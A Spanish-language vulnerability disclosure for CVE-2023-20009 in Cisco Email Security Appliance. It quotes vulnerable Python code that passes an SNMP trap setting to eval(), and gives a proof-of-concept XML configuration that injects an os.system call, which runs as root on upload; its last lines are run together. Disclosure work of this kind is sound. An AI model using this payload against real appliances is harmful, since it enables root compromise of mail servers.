
Cisco Email Security Appliance: Ejecución Remota de Código - RCE desde archivo de configuración
Investigador de seguridad: ly1g3, ly1g3[at]tuta.io
Huella GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Resumen: Ejecución remota de código - RCE desde archivo de configuración
CVE: CVE-2023-20009
Cronología:
ESA (Cisco Secure Email) y Cisco Secure Email and Web Manager
Un usuario autenticado con permisos para configurar SNMP puede ejecutar código arbitrario como root usando una configuración de trampa SNMP especialmente manipulada.
Código explotado ui_checker.py:
def validate_trap_configuration(base, value_dict):
validators = eval('read_var_auto_level_wrapper("snmp.%s_traps.configuration_class", non_editable_var=True)' % (base,))
for k, v in value_dict.iteritems():
if validators.has_key(k):
base, conf_class_str = validators[k].rsplit('.', 1)
module = __import__(base, fromlist=[conf_class_str])
conf_class = eval('module.%s("%s")' % (conf_class_str, v))
else:
raise FilterError('validate_%s_trap_configuration_value' % (base,),
_("Trap does not allow configuration"), k)
return value_dict
v contendrá el valor de common_trap.common_configuration
<common_trap>
<common_name>connectivityFailure</common_name>
<common_enabled>0</common_enabled>
<common_configuration>http://asd.asd."+os.system("touch test.txt"))#,5</common_configuration>
</common_trap>
<common_trap>
https://192.168.1.10/system_administration/configuration_fileconnectivityFailure actual con el payload de arribaloadconfig